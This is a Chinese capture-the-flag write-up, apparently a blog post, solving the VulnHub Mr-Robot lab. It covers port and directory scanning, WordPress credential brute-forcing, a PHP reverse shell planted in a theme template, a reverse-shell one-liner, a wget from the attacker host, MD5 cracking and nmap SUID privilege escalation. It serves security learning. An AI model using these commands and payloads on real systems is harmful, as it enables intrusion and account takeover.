vulnhub Mr-Robot: 1

本文思路

nmap扫描开放端口-->dirb扫描网站目录-->查看robots.txt拿到第一个key,并下载字典文件-->爆破WordPress用户名和密码-->通过WordPress的模板编辑功能获得daemon用户反弹shell-->通过权限设置不当的密码文件获得robot用户的密码,并得到第二个key-->通过nmap提权,并得到第三个key

具体步骤

步骤1:nmap扫描

sudo nmap -sS -A -p- 192.168.9.239

扫描到ssh(22端口)是关闭的、http(80端口)和https(443端口)是打开的 ,看样子估计还是从网页突破。

步骤2:dirb扫描网站目录,通过robots.txt拿到第一个key

dirb http://192.168.9.239/

扫描结果特别多,就不截图了,总的来说分为5部分:

(1)直接访问ip可以访问到的页面

 (2)http://192.168.9.239/0/   是一个wordpress

(3)http://192.168.9.239/phpmyadmin  从远端没法登录,只能从本地登录

(4)http://192.168.9.239/admin/   访问就卡在这个页面不停刷新,暂时不知道怎么用

(5)http://192.168.9.239/robots 包含两个文件 fsocity.dic 和 key-1-of-3.txt

访问 http://192.168.9.239/key-1-of-3.txt 得到如下结果:

看来本靶机有3个key,目前已经轻松拿到一个了。

步骤3:下载字典fsocity.dic

访问http://192.168.9.239/fsocity.dic发现像是一个字典

把这个字典拷贝下来保存为fsocity.txt,备用

步骤4:爆破WordPress用户名密码

http://192.168.9.239/0/​​​​​​上找到登录界面http://192.168.9.239/wp-login.php,尝试登录发现登录失败提示还挺详细,还提示用户名有误。

这样的话,用户名是可爆破的,因为用户名和密码错误的提示信息不同。

用刚刚保存的密码字典fsocity.txt和burpsuite来爆破用户名。

登录的过程中抓包,send to intruder, 爆破点设置为log的值

payload导入fsocity.txt

爆破结果按长度(Length)排序,字典很大,不用等爆破结束,已经可以看到用户名基本就是elliot大小写变化。

然后把爆破位置换到pwd的值

payload还是用fsocity.txt。爆破半天没爆出来,看了网上的wp发现密码是ER28-0652。

在fsocity.txt里面找了一下,ER28-0652确实是在的,只是在第八十几万个-_-|||

不等了,我把最后二十几个单拎出来,跑了一下,结果按Length排序,确实可以爆出来密码ER28-0652

步骤5:利用WordPress的模板编辑功能getshell(daemon用户)

使用用户名elliot密码ER28-0652登录http://192.168.9.239/wp-login.php

进入到http://192.168.9.239/wp-admin/

依次点击左侧栏的AppearanceEditor,以及右侧栏的404 Template

来到http://192.168.9.239/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen 

攻击机上用nc监听2333端口

nc -lvp 2333

在kali linux的/usr/share/webshells/php/目录下找到php-reverse-shell.php,这是一个php反弹shell。把里面的内容拷贝到上图页面中get_header(); ?>的下方,修改$ip和$port为攻击机监听反弹shell的ip和端口。点击Update File进行保存。

访问一个不存在的页面,比如 http://192.168.9.239/wp-admin/1

攻击机上获得反弹shell

其实这边有一个疑问,用chrome插件Hack-Tools生成的简单php反弹shell是没法成功反弹的

php -r '$sock=fsockopen(getenv("192.168.9.10"),getenv("2333"));exec("/bin/sh -i <&3 >&3 2>&3");'

后来用上述kali linux自带的php反弹shell得到shell之后,尝试了一下直接在shell中执行上述一句话反弹shell,也是执行不成功的,报错信息如下,但具体原因目前不清楚。

在得到的反弹shell中输入如下命令,得到交互式(好像是半交互式)的shell

python -c 'import pty; pty.spawn("/bin/bash")'

 

步骤6:得到robot用户的shell,拿到第二个key

进入目录home/robot,下面有两个文件

key-2-of-3.txt中应该是第二个key,但是只有robot用户可以查看这个文件。

password.raw-md5是所有用户可读的,从文件名猜测是robot用户的md5加密的密码。

cat password.raw-md5

把md5加密的密码拿到MD5免费在线解密破解_MD5在线加密-SOMD5解密

得到robot用户明文密码abcdefghijklmnopqrstuvwxyz

反弹shell中输入

su robot

然后输入密码abcdefghijklmnopqrstuvwxyz,得到robot用户的shell

输入

cat key-2-of-3.txt

得到第二个key

步骤7:下载运行linpeas.sh

由于robot用户没有自己家目录的write权限,所以先到有write权限的/tmp目录

cd /tmp

攻击机上在存放linpeas.sh的目录下开http服务

python -m SimpleHTTPServer 80

 然后靶机shell中输入如下命令,从攻击机上下载linpeas.sh

wget http://192.168.9.10/linpeas.sh

修改linpeas.sh权限,使robot用户可执行

chmod 744 linpeas.sh

运行linpeas.sh

./linpeas.sh

运行结果有提示可用的CVE,但是试了好几个exp,没有一个可用的。

步骤8:通过nmap提权,拿到第三个key

仔细看linpeas.sh的结果发现suid结果那边给了一个有95%利用可能性的提示--nmap命令

在网站GTFOBins 搜一下nmap,可以搜到利用方法

即在robot的shell中输入

nmap --interactive

再输入

!sh

如此便可得到root权限。有意思的是,从id命令的结果看,目前的实际用户虽然还是robot,但有效用户已经变成root了。 

 

到/root目录下,可以看到第三个key文件key-3-of-3.txt

成功获得第三个key

 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值